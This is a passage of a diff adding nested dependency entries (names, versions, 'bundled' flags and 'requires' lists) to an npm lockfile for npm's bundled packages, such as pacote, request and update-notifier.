+ "stream-each": "1.2.2", + "through2": "2.0.3" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "duplexify": { + "version": "3.5.3", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "flush-write-stream": { + "version": "1.0.2", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.5" + }, + "dependencies": { + "cyclist": { + "version": "0.2.2", + "bundled": true + } + } + }, + "pump": { + "version": "1.0.3", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.4.0", + "bundled": true, + "requires": { + "duplexify": "3.5.3", + "inherits": "2.0.3", + "pump": "2.0.1" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + } + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.5", + "xtend": "4.0.1" + }, + "dependencies": { + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "node-fetch-npm": { + "version": "2.0.2", + "bundled": true, + "requires": { + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.1", + "safe-buffer": "5.1.1" + }, + "dependencies": { + "encoding": { + "version": "0.1.12", + "bundled": true, + "requires": { + "iconv-lite": "0.4.19" + }, + "dependencies": { + "iconv-lite": { + "version": "0.4.19", + "bundled": true + } + } + }, + "json-parse-better-errors": { + "version": "1.0.1", + "bundled": true + } + } + }, + "promise-retry": { + "version": "1.1.1", + "bundled": true, + "requires": { + "err-code": "1.1.2", + "retry": "0.10.1" + }, + "dependencies": { + "err-code": { + "version": "1.1.2", + "bundled": true + } + } + }, + "socks-proxy-agent": { + "version": "3.0.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "socks": "1.1.10" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "socks": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "1.1.15" + }, + "dependencies": { + "ip": { + "version": "1.1.5", + "bundled": true + }, + "smart-buffer": { + "version": "1.1.15", + "bundled": true + } + } + } + } + } + } + } + } + }, + "npm-registry-client": { + "version": "8.5.1", + "bundled": true, + "requires": { + "concat-stream": "1.6.1", + "graceful-fs": "4.1.11", + "normalize-package-data": "2.4.0", + "npm-package-arg": "6.0.0", + "npmlog": "4.1.2", + "once": "1.4.0", + "request": "2.83.0", + "retry": "0.10.1", + "safe-buffer": "5.1.1", + "semver": "5.5.0", + "slide": "1.1.6", + "ssri": "5.2.4" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.1", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + } + } + }, + "npm-user-validate": { + "version": "1.0.0", + "bundled": true + }, + "npmlog": { + "version": "4.1.2", + "bundled": true, + "requires": { + "are-we-there-yet": "1.1.4", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" + }, + "dependencies": { + "are-we-there-yet": { + "version": "1.1.4", + "bundled": true, + "requires": { + "delegates": "1.0.0", + "readable-stream": "2.3.5" + }, + "dependencies": { + "delegates": { + "version": "1.0.0", + "bundled": true + } + } + }, + "console-control-strings": { + "version": "1.1.0", + "bundled": true + }, + "gauge": { + "version": "2.7.4", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" + }, + "dependencies": { + "object-assign": { + "version": "4.1.1", + "bundled": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "code-point-at": { + "version": "1.1.0", + "bundled": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "requires": { + "number-is-nan": "1.0.1" + }, + "dependencies": { + "number-is-nan": { + "version": "1.0.1", + "bundled": true + } + } + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + }, + "wide-align": { + "version": "1.1.2", + "bundled": true, + "requires": { + "string-width": "1.0.2" + } + } + } + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true + } + } + }, + "once": { + "version": "1.4.0", + "bundled": true, + "requires": { + "wrappy": "1.0.2" + } + }, + "opener": { + "version": "1.4.3", + "bundled": true + }, + "osenv": { + "version": "0.1.5", + "bundled": true, + "requires": { + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" + }, + "dependencies": { + "os-homedir": { + "version": "1.0.2", + "bundled": true + }, + "os-tmpdir": { + "version": "1.0.2", + "bundled": true + } + } + }, + "pacote": { + "version": "7.6.1", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "cacache": "10.0.4", + "get-stream": "3.0.0", + "glob": "7.1.2", + "lru-cache": "4.1.1", + "make-fetch-happen": "2.6.0", + "minimatch": "3.0.4", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "normalize-package-data": "2.4.0", + "npm-package-arg": "6.0.0", + "npm-packlist": "1.1.10", + "npm-pick-manifest": "2.1.0", + "osenv": "0.1.5", + "promise-inflight": "1.0.1", + "promise-retry": "1.1.1", + "protoduck": "5.0.0", + "rimraf": "2.6.2", + "safe-buffer": "5.1.1", + "semver": "5.5.0", + "ssri": "5.2.4", + "tar": "4.4.0", + "unique-filename": "1.1.0", + "which": "1.3.0" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "make-fetch-happen": { + "version": "2.6.0", + "bundled": true, + "requires": { + "agentkeepalive": "3.4.0", + "cacache": "10.0.4", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.1.0", + "https-proxy-agent": "2.2.0", + "lru-cache": "4.1.1", + "mississippi": "1.3.1", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "3.0.1", + "ssri": "5.2.4" + }, + "dependencies": { + "agentkeepalive": { + "version": "3.4.0", + "bundled": true, + "requires": { + "humanize-ms": "1.2.1" + }, + "dependencies": { + "humanize-ms": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ms": "2.1.1" + }, + "dependencies": { + "ms": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, + "http-cache-semantics": { + "version": "3.8.1", + "bundled": true + }, + "http-proxy-agent": { + "version": "2.1.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "https-proxy-agent": { + "version": "2.2.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "mississippi": { + "version": "1.3.1", + "bundled": true, + "requires": { + "concat-stream": "1.6.1", + "duplexify": "3.5.4", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.2", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "1.0.3", + "pumpify": "1.4.0", + "stream-each": "1.2.2", + "through2": "2.0.3" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.1", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "duplexify": { + "version": "3.5.4", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "flush-write-stream": { + "version": "1.0.2", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.5" + }, + "dependencies": { + "cyclist": { + "version": "0.2.2", + "bundled": true + } + } + }, + "pump": { + "version": "1.0.3", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.4.0", + "bundled": true, + "requires": { + "duplexify": "3.5.4", + "inherits": "2.0.3", + "pump": "2.0.1" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + } + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.5", + "xtend": "4.0.1" + }, + "dependencies": { + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "node-fetch-npm": { + "version": "2.0.2", + "bundled": true, + "requires": { + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.1", + "safe-buffer": "5.1.1" + }, + "dependencies": { + "encoding": { + "version": "0.1.12", + "bundled": true, + "requires": { + "iconv-lite": "0.4.19" + }, + "dependencies": { + "iconv-lite": { + "version": "0.4.19", + "bundled": true + } + } + }, + "json-parse-better-errors": { + "version": "1.0.1", + "bundled": true + } + } + }, + "socks-proxy-agent": { + "version": "3.0.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "socks": "1.1.10" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "socks": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "1.1.15" + }, + "dependencies": { + "ip": { + "version": "1.1.5", + "bundled": true + }, + "smart-buffer": { + "version": "1.1.15", + "bundled": true + } + } + } + } + } + } + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.11" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + }, + "npm-pick-manifest": { + "version": "2.1.0", + "bundled": true, + "requires": { + "npm-package-arg": "6.0.0", + "semver": "5.5.0" + } + }, + "promise-retry": { + "version": "1.1.1", + "bundled": true, + "requires": { + "err-code": "1.1.2", + "retry": "0.10.1" + }, + "dependencies": { + "err-code": { + "version": "1.1.2", + "bundled": true + } + } + }, + "protoduck": { + "version": "5.0.0", + "bundled": true, + "requires": { + "genfun": "4.0.1" + }, + "dependencies": { + "genfun": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "path-is-inside": { + "version": "1.0.2", + "bundled": true + }, + "promise-inflight": { + "version": "1.0.1", + "bundled": true + }, + "qrcode-terminal": { + "version": "0.11.0", + "bundled": true + }, + "query-string": { + "version": "5.1.0", + "bundled": true, + "requires": { + "decode-uri-component": "0.2.0", + "object-assign": "4.1.1", + "strict-uri-encode": "1.1.0" + }, + "dependencies": { + "decode-uri-component": { + "version": "0.2.0", + "bundled": true + }, + "object-assign": { + "version": "4.1.1", + "bundled": true + }, + "strict-uri-encode": { + "version": "1.1.0", + "bundled": true + } + } + }, + "qw": { + "version": "1.0.1", + "bundled": true + }, + "read": { + "version": "1.0.7", + "bundled": true, + "requires": { + "mute-stream": "0.0.7" + }, + "dependencies": { + "mute-stream": { + "version": "0.0.7", + "bundled": true + } + } + }, + "read-cmd-shim": { + "version": "1.0.1", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11" + } + }, + "read-installed": { + "version": "4.0.3", + "bundled": true, + "requires": { + "debuglog": "1.0.1", + "graceful-fs": "4.1.11", + "read-package-json": "2.0.13", + "readdir-scoped-modules": "1.0.2", + "semver": "5.5.0", + "slide": "1.1.6", + "util-extend": "1.0.3" + }, + "dependencies": { + "util-extend": { + "version": "1.0.3", + "bundled": true + } + } + }, + "read-package-json": { + "version": "2.0.13", + "bundled": true, + "requires": { + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "json-parse-better-errors": "1.0.1", + "normalize-package-data": "2.4.0", + "slash": "1.0.0" + }, + "dependencies": { + "json-parse-better-errors": { + "version": "1.0.1", + "bundled": true + }, + "slash": { + "version": "1.0.0", + "bundled": true + } + } + }, + "read-package-tree": { + "version": "5.1.6", + "bundled": true, + "requires": { + "debuglog": "1.0.1", + "dezalgo": "1.0.3", + "once": "1.4.0", + "read-package-json": "2.0.13", + "readdir-scoped-modules": "1.0.2" + } + }, + "readable-stream": { + "version": "2.3.5", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.0.3", + "util-deprecate": "1.0.2" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "bundled": true + }, + "isarray": { + "version": "1.0.0", + "bundled": true + }, + "process-nextick-args": { + "version": "2.0.0", + "bundled": true + }, + "string_decoder": { + "version": "1.0.3", + "bundled": true, + "requires": { + "safe-buffer": "5.1.1" + } + }, + "util-deprecate": { + "version": "1.0.2", + "bundled": true + } + } + }, + "readdir-scoped-modules": { + "version": "1.0.2", + "bundled": true, + "requires": { + "debuglog": "1.0.1", + "dezalgo": "1.0.3", + "graceful-fs": "4.1.11", + "once": "1.4.0" + } + }, + "request": { + "version": "2.83.0", + "bundled": true, + "requires": { + "aws-sign2": "0.7.0", + "aws4": "1.6.0", + "caseless": "0.12.0", + "combined-stream": "1.0.5", + "extend": "3.0.1", + "forever-agent": "0.6.1", + "form-data": "2.3.1", + "har-validator": "5.0.3", + "hawk": "6.0.2", + "http-signature": "1.2.0", + "is-typedarray": "1.0.0", + "isstream": "0.1.2", + "json-stringify-safe": "5.0.1", + "mime-types": "2.1.17", + "oauth-sign": "0.8.2", + "performance-now": "2.1.0", + "qs": "6.5.1", + "safe-buffer": "5.1.1", + "stringstream": "0.0.5", + "tough-cookie": "2.3.3", + "tunnel-agent": "0.6.0", + "uuid": "3.2.1" + }, + "dependencies": { + "aws-sign2": { + "version": "0.7.0", + "bundled": true + }, + "aws4": { + "version": "1.6.0", + "bundled": true + }, + "caseless": { + "version": "0.12.0", + "bundled": true + }, + "combined-stream": { + "version": "1.0.5", + "bundled": true, + "requires": { + "delayed-stream": "1.0.0" + }, + "dependencies": { + "delayed-stream": { + "version": "1.0.0", + "bundled": true + } + } + }, + "extend": { + "version": "3.0.1", + "bundled": true + }, + "forever-agent": { + "version": "0.6.1", + "bundled": true + }, + "form-data": { + "version": "2.3.1", + "bundled": true, + "requires": { + "asynckit": "0.4.0", + "combined-stream": "1.0.5", + "mime-types": "2.1.17" + }, + "dependencies": { + "asynckit": { + "version": "0.4.0", + "bundled": true + } + } + }, + "har-validator": { + "version": "5.0.3", + "bundled": true, + "requires": { + "ajv": "5.2.3", + "har-schema": "2.0.0" + }, + "dependencies": { + "ajv": { + "version": "5.2.3", + "bundled": true, + "requires": { + "co": "4.6.0", + "fast-deep-equal": "1.0.0", + "json-schema-traverse": "0.3.1", + "json-stable-stringify": "1.0.1" + }, + "dependencies": { + "co": { + "version": "4.6.0", + "bundled": true + }, + "fast-deep-equal": { + "version": "1.0.0", + "bundled": true + }, + "json-schema-traverse": { + "version": "0.3.1", + "bundled": true + }, + "json-stable-stringify": { + "version": "1.0.1", + "bundled": true, + "requires": { + "jsonify": "0.0.0" + }, + "dependencies": { + "jsonify": { + "version": "0.0.0", + "bundled": true + } + } + } + } + }, + "har-schema": { + "version": "2.0.0", + "bundled": true + } + } + }, + "hawk": { + "version": "6.0.2", + "bundled": true, + "requires": { + "boom": "4.3.1", + "cryptiles": "3.1.2", + "hoek": "4.2.0", + "sntp": "2.0.2" + }, + "dependencies": { + "boom": { + "version": "4.3.1", + "bundled": true, + "requires": { + "hoek": "4.2.0" + } + }, + "cryptiles": { + "version": "3.1.2", + "bundled": true, + "requires": { + "boom": "5.2.0" + }, + "dependencies": { + "boom": { + "version": "5.2.0", + "bundled": true, + "requires": { + "hoek": "4.2.0" + } + } + } + }, + "hoek": { + "version": "4.2.0", + "bundled": true + }, + "sntp": { + "version": "2.0.2", + "bundled": true, + "requires": { + "hoek": "4.2.0" + } + } + } + }, + "http-signature": { + "version": "1.2.0", + "bundled": true, + "requires": { + "assert-plus": "1.0.0", + "jsprim": "1.4.1", + "sshpk": "1.13.1" + }, + "dependencies": { + "assert-plus": { + "version": "1.0.0", + "bundled": true + }, + "jsprim": { + "version": "1.4.1", + "bundled": true, + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + }, + "dependencies": { + "extsprintf": { + "version": "1.3.0", + "bundled": true + }, + "json-schema": { + "version": "0.2.3", + "bundled": true + }, + "verror": { + "version": "1.10.0", + "bundled": true, + "requires": { + "assert-plus": "1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "1.3.0" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "bundled": true + } + } + } + } + }, + "sshpk": { + "version": "1.13.1", + "bundled": true, + "requires": { + "asn1": "0.2.3", + "assert-plus": "1.0.0", + "bcrypt-pbkdf": "1.0.1", + "dashdash": "1.14.1", + "ecc-jsbn": "0.1.1", + "getpass": "0.1.7", + "jsbn": "0.1.1", + "tweetnacl": "0.14.5" + }, + "dependencies": { + "asn1": { + "version": "0.2.3", + "bundled": true + }, + "bcrypt-pbkdf": { + "version": "1.0.1", + "bundled": true, + "optional": true, + "requires": { + "tweetnacl": "0.14.5" + } + }, + "dashdash": { + "version": "1.14.1", + "bundled": true, + "requires": { + "assert-plus": "1.0.0" + } + }, + "ecc-jsbn": { + "version": "0.1.1", + "bundled": true, + "optional": true, + "requires": { + "jsbn": "0.1.1" + } + }, + "getpass": { + "version": "0.1.7", + "bundled": true, + "requires": { + "assert-plus": "1.0.0" + } + }, + "jsbn": { + "version": "0.1.1", + "bundled": true, + "optional": true + }, + "tweetnacl": { + "version": "0.14.5", + "bundled": true, + "optional": true + } + } + } + } + }, + "is-typedarray": { + "version": "1.0.0", + "bundled": true + }, + "isstream": { + "version": "0.1.2", + "bundled": true + }, + "json-stringify-safe": { + "version": "5.0.1", + "bundled": true + }, + "mime-types": { + "version": "2.1.17", + "bundled": true, + "requires": { + "mime-db": "1.30.0" + }, + "dependencies": { + "mime-db": { + "version": "1.30.0", + "bundled": true + } + } + }, + "oauth-sign": { + "version": "0.8.2", + "bundled": true + }, + "performance-now": { + "version": "2.1.0", + "bundled": true + }, + "qs": { + "version": "6.5.1", + "bundled": true + }, + "stringstream": { + "version": "0.0.5", + "bundled": true + }, + "tough-cookie": { + "version": "2.3.3", + "bundled": true, + "requires": { + "punycode": "1.4.1" + }, + "dependencies": { + "punycode": { + "version": "1.4.1", + "bundled": true + } + } + }, + "tunnel-agent": { + "version": "0.6.0", + "bundled": true, + "requires": { + "safe-buffer": "5.1.1" + } + } + } + }, + "retry": { + "version": "0.10.1", + "bundled": true + }, + "rimraf": { + "version": "2.6.2", + "bundled": true, + "requires": { + "glob": "7.1.2" + } + }, + "safe-buffer": { + "version": "5.1.1", + "bundled": true + }, + "semver": { + "version": "5.5.0", + "bundled": true + }, + "sha": { + "version": "2.0.1", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "readable-stream": "2.3.5" + } + }, + "slide": { + "version": "1.1.6", + "bundled": true + }, + "sorted-object": { + "version": "2.0.1", + "bundled": true + }, + "sorted-union-stream": { + "version": "2.1.3", + "bundled": true, + "requires": { + "from2": "1.3.0", + "stream-iterate": "1.2.0" + }, + "dependencies": { + "from2": { + "version": "1.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "1.1.14" + }, + "dependencies": { + "readable-stream": { + "version": "1.1.14", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "0.0.1", + "string_decoder": "0.10.31" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "bundled": true + }, + "isarray": { + "version": "0.0.1", + "bundled": true + }, + "string_decoder": { + "version": "0.10.31", + "bundled": true + } + } + } + } + }, + "stream-iterate": { + "version": "1.2.0", + "bundled": true, + "requires": { + "readable-stream": "2.3.5", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "ssri": { + "version": "5.2.4", + "bundled": true, + "requires": { + "safe-buffer": "5.1.1" + } + }, + "strip-ansi": { + "version": "4.0.0", + "bundled": true, + "requires": { + "ansi-regex": "3.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "bundled": true + } + } + }, + "tar": { + "version": "4.4.0", + "bundled": true, + "requires": { + "chownr": "1.0.1", + "fs-minipass": "1.2.5", + "minipass": "2.2.1", + "minizlib": "1.1.0", + "mkdirp": "0.5.1", + "yallist": "3.0.2" + }, + "dependencies": { + "fs-minipass": { + "version": "1.2.5", + "bundled": true, + "requires": { + "minipass": "2.2.1" + } + }, + "minipass": { + "version": "2.2.1", + "bundled": true, + "requires": { + "yallist": "3.0.2" + } + }, + "minizlib": { + "version": "1.1.0", + "bundled": true, + "requires": { + "minipass": "2.2.1" + } + }, + "yallist": { + "version": "3.0.2", + "bundled": true + } + } + }, + "text-table": { + "version": "0.2.0", + "bundled": true + }, + "uid-number": { + "version": "0.0.6", + "bundled": true + }, + "umask": { + "version": "1.1.0", + "bundled": true + }, + "unique-filename": { + "version": "1.1.0", + "bundled": true, + "requires": { + "unique-slug": "2.0.0" + }, + "dependencies": { + "unique-slug": { + "version": "2.0.0", + "bundled": true, + "requires": { + "imurmurhash": "0.1.4" + } + } + } + }, + "unpipe": { + "version": "1.0.0", + "bundled": true + }, + "update-notifier": { + "version": "2.3.0", + "bundled": true, + "requires": { + "boxen": "1.2.1", + "chalk": "2.1.0", + "configstore": "3.1.1", + "import-lazy": "2.1.0", + "is-installed-globally": "0.1.0", + "is-npm": "1.0.0", + "latest-version": "3.1.0", + "semver-diff": "2.1.0", + "xdg-basedir": "3.0.0" + }, + "dependencies": { + "boxen": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ansi-align": "2.0.0", + "camelcase": "4.1.0", + "chalk": "2.1.0", + "cli-boxes": "1.0.0", + "string-width": "2.1.1", + "term-size": "1.2.0", + "widest-line": "1.0.0" + }, + "dependencies": { + "ansi-align": { + "version": "2.0.0", + "bundled": true, + "requires": { + "string-width": "2.1.1" + } + }, + "camelcase": { + "version": "4.1.0", + "bundled": true + }, + "cli-boxes": { + "version": "1.0.0", + "bundled": true + }, + "string-width": { + "version": "2.1.1", + "bundled": true, + "requires": { + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true + } + } + }, + "term-size": { + "version": "1.2.0", + "bundled": true, + "requires": { + "execa": "0.7.0" + }, + "dependencies": { + "execa": { + "version": "0.7.0", + "bundled": true, + "requires": { + "cross-spawn": "5.1.0", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" + }, + "dependencies": { + "cross-spawn": { + "version": "5.1.0", + "bundled": true, + "requires": { + "lru-cache": "4.1.1", + "shebang-command": "1.2.0", + "which": "1.3.0" + }, + "dependencies": { + "shebang-command": { + "version": "1.2.0", + "bundled": true, + "requires": { + "shebang-regex": "1.0.0" + }, + "dependencies": { + "shebang-regex": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "is-stream": { + "version": "1.1.0", + "bundled": true + }, + "npm-run-path": { + "version": "2.0.2", + "bundled": true, + "requires": { + "path-key": "2.0.1" + }, + "dependencies": { + "path-key": { + "version": "2.0.1", + "bundled": true + } + } + }, + "p-finally": { + "version": "1.0.0", + "bundled": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true + }, + "strip-eof": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "widest-line": { + "version": "1.0.0", + "bundled": true, + "requires": { + "string-width": "1.0.2" + }, + "dependencies": { + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "code-point-at": { + "version": "1.1.0", + "bundled": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "requires": { + "number-is-nan": "1.0.1" + }, + "dependencies": { + "number-is-nan": { + "version": "1.0.1", + "bundled": true + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + } + } + } + } + } + } + }, + "chalk": { + "version": "2.1.0", + "bundled": true, + "requires": { + "ansi-styles": "3.2.0", + "escape-string-regexp": "1.0.5", + "supports-color": "4.4.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.0", + "bundled": true, + "requires": { + "color-convert": "1.9.0" + }, + "dependencies": { + "color-convert": { + "version": "1.9.0", + "bundled": true, + "requires": { + "color-name": "1.1.3" + }, + "dependencies": { + "color-name": { + "version": "1.1.3", + "bundled": true + } + } + } + } + }, + "escape-string-regexp": { + "version": "1.0.5", + "bundled": true + }, + "supports-color": { + "version": "4.4.0", + "bundled": true, + "requires": { + "has-flag": "2.0.0" + }, + "dependencies": { + "has-flag": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "configstore": { + "version": "3.1.1", + "bundled": true, + "requires": { + "dot-prop": "4.2.0", + "graceful-fs": "4.1.11", + "make-dir": "1.0.0", + "unique-string": "1.0.0", + "write-file-atomic": "2.3.0", + "xdg-basedir": "3.0.0" + }, + "dependencies": { + "dot-prop": { + "version": "4.2.0", + "bundled": true, + "requires": { + "is-obj": "1.0.1" + }, + "dependencies": { + "is-obj": { + "version": "1.0.1", + "bundled": true + } + } + }, + "make-dir": { + "version": "1.0.0", + "bundled": true, + "requires": { + "pify": "2.3.0" + }, + "dependencies": { + "pify": { + "version": "2.3.0", + "bundled": true + } + } + }, + "unique-string": { + "version": "1.0.0", + "bundled": true, + "requires": { + "crypto-random-string": "1.0.0" + }, + "dependencies": { + "crypto-random-string": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "import-lazy": { + "version": "2.1.0", + "bundled": true + }, + "is-installed-globally": { + "version": "0.1.0", + "bundled": true, + "requires": { + "global-dirs": "0.1.0", + "is-path-inside": "1.0.0" + }, + 